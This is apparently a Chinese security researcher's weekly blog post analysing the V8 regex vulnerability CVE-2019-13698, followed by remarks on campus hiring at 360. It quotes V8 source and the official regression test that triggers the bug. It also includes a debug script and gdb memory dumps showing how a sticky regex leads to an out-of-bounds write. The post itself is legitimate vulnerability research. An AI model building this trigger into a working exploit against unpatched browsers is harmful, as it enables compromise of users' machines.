有段时间没有更新浏览器了
JS Fuzz,有点意思,我还没有看源码
- https://github.com/fuzzitdev/jsfuzz
最近分析了CRBUG-944971,对应的CVE编号是CVE-2019-13698,正则模块的漏洞
- https://bugs.chromium.org/p/chromium/issues/detail?id=944971
触发漏洞的原理很简单,根据报告者的Exp去找漏洞的触发路径很有意思
首先正则的Replace函数认为传入的是未经修改的对象,也就是说没有被重新定义过的正则对象,它会调用ToString()
,这是一个可以在上层进行定义的函数
V8_WARN_UNUSED_RESULT MaybeHandle<String> RegExpReplace(Isolate* isolate, Handle<JSRegExp> regexp, Handle<String> string, Handle<Object> replace_obj) {
// Functional fast-paths are dispatched directly by replace builtin.
DCHECK(RegExpUtils::IsUnmodifiedRegExp(isolate, regexp));
DCHECK(!replace_obj->IsCallable());
Factory* factory = isolate->factory();
const int flags = regexp->GetFlags();
const bool global = (flags & JSRegExp::kGlobal) != 0;
const bool sticky = (flags & JSRegExp::kSticky) != 0;
Handle<String> replace;
ASSIGN_RETURN_ON_EXCEPTION(isolate, replace, Object::ToString(isolate, replace_obj), String); <== 1
replace = String::Flatten(isolate, replace);
官方给的回归测试文件可以看到就是在toString()
里进行操作
let re = /x/y;
let cnt = 0;
let str = re[Symbol.replace]("x", {
toString: () => {
cnt++;
if (cnt == 2) {
re.lastIndex = {valueOf: () => {
re.x = 42;
return 0;
}};
}
return 'y$';
}
});
assertEquals("y$", str);
具体这个漏洞的利用细节我会单独写一篇文章分析,周报里简单讲讲,首先我们使用下面的代码测试一个特性
var pattern = new RegExp("AA","g");
%DebugPrint(pattern);
pattern.__defineGetter__('x', ()=>2);
%DebugPrint(pattern);
pattern.__defineGetter__('x', ()=>2);
%DebugPrint(pattern);
while(true);
%DebugPrint
是V8调试版本下一个用于打印对象的接口,输出的数据我简化一下,第二次__defineGetter__
执行完后,可以看到lastIndex
被移动到properties
存储,同时对象长度减少8字节
DebugPrint: 0x1fb102d4dcc1: [JSRegExp]
- map: 0x1d23bf341359 <Map(HOLEY_ELEMENTS)> [FastProperties]
- properties: 0x1878b9400c71 <FixedArray[0]> {
#lastIndex: 0 (data field 0)
}
0x1d23bf341359: [Map]
- type: JS_REGEXP_TYPE
- instance size: 56
------------------------------------------------------------
DebugPrint: 0x1fb102d4dcc1: [JSRegExp]
- map: 0x1d23bf34a9f9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- properties: 0x1878b9400c71 <FixedArray[0]> {
#lastIndex: 0 (data field 0)
#x: 0x2d807e95f4c1 <AccessorPair> (const accessor descriptor)
}
0x1d23bf34a9f9: [Map]
- type: JS_REGEXP_TYPE
- instance size: 56
------------------------------------------------------------
DebugPrint: 0x1fb102d4dcc1: [JSRegExp]
- map: 0x1d23bf34aa49 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- properties: 0x1fb102d4f631 <NameDictionary[29]> {
#lastIndex: 0 (data, dict_index: 1, attrs: [W__])
#x: 0x2d807e95f4d9 <AccessorPair> (accessor, dict_index: 2, attrs: [WEC])
}
0x1d23bf34aa49: [Map]
- type: JS_REGEXP_TYPE
- instance size: 48
记住上面的这点,我们来看内存角度
var pattern = new RegExp("AA","g");
gdb-peda$ x/20gx 0x99f7870dcd8
0x99f7870dcd8: 0x000030b004981359 0x00003df557b80c71
0x99f7870dce8: 0x00003df557b80c71 0x0000099f7870f561
0x99f7870dcf8: 0x000000a31509f099 0x0000000100000000
0x99f7870dd08: 0x0000000000000000 0x00003df557b808a1
以下因为重新运行导致内存地址变化,问题不大,两次执行过后可以看到核心的地方出现了,注意箭头指向的地方,原先是`0`,现在变成了一个地址
pattern.__defineGetter__('x', ()=>2);
pattern.__defineGetter__('x', ()=>2);
gdb-peda$ x/20gx 0x30e12f60dce0
0x30e12f60dce0: 0x0000365cc160aa49 0x000030e12f60f651
0x30e12f60dcf0: 0x00003cb956540c71 0x000030e12f60f569
0x30e12f60dd00: 0x00000d083935f099 0x0000000100000000
0x30e12f60dd10: 0x00003cb956540321 <== 0x00003cb9565408a1
0x30e12f60dd20: 0x0000018300000000 0x0000000100000000
0x30e12f60dd30: 0x0000000000000000 0x0000008000000000
0x30e12f60dd40: 0x00003cb9565404d1 0x00003cb9565404d1
0x30e12f60dd50: 0x00003cb9565404d1 0x00003cb9565404d1
0x30e12f60dd60: 0x00003cb9565404d1 0x00003cb9565404d1
0x30e12f60dd70: 0x00003cb9565404d1 0x00003cb9565404d1
我们通过job
命令查看,它是一个对象的Map,也就是说,这里是一个新的对象内存空间
gdb-peda$ job 0x00003cb956540321
0x3cb956540321: [Map]
- type: FILLER_TYPE
- instance size: 8
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x3cb9565404d1 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x3cb956540259 <DescriptorArray[0]>
- layout descriptor: (nil)
- prototype: 0x3cb9565401d9 <null>
- constructor: 0x3cb9565401d9 <null>
- dependent code: 0x3cb9565402c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
这个特性有什么用呢?
我们再回到Replace
函数里,它竟然可以直接设置这个lastIndex
位,也就是说,在Replace
里处理的时候,可以通过toString()
修改掉这个值,而修改的时候,原先的lastIndex
已经变成了另一个对象的Map
,这就造成了一个越界写操作,sticky
对应的y
,比如"AA/y"
if (match_indices_obj->IsNull(isolate)) {
if (sticky) regexp->set_last_index(Smi::kZero, SKIP_WRITE_BARRIER);
return string;
}
auto match_indices = Handle<RegExpMatchInfo>::cast(match_indices_obj);
const int start_index = match_indices->Capture(0);
const int end_index = match_indices->Capture(1);
if (sticky) {
regexp->set_last_index(Smi::FromInt(end_index), SKIP_WRITE_BARRIER);
}
参加了今年的数字校招面试工作,一共是四批,第一批是内推,剩下三批是大流程,内推的好处就是万一挂了可以参加大流程,完全不会有影响,但是大流程只能参加一次
整个部门的候选人简历一眼刷下来几乎全是硕士学历,本科生屈指可数,全公司的比例情况我不清楚,没有看到表格
感慨还好毕业的早,不然今年可能真的找不到工作了
记得17年的春招,我在寝室里参加了数字的春招视频面试,大早上有个人打电话给我问我能不能参加面试,然后我就早早地在那里准备了,然后时间一到就有面试官Call我,一早上三面聊得很快,一面工程师,二面leader,三面HR
另外,今年的秋招差不多结束了,春招的时候大家投简历请踊跃一点,不要太羞涩了,有坑,缺人!需要内推360的后台联系我啊!!!!!!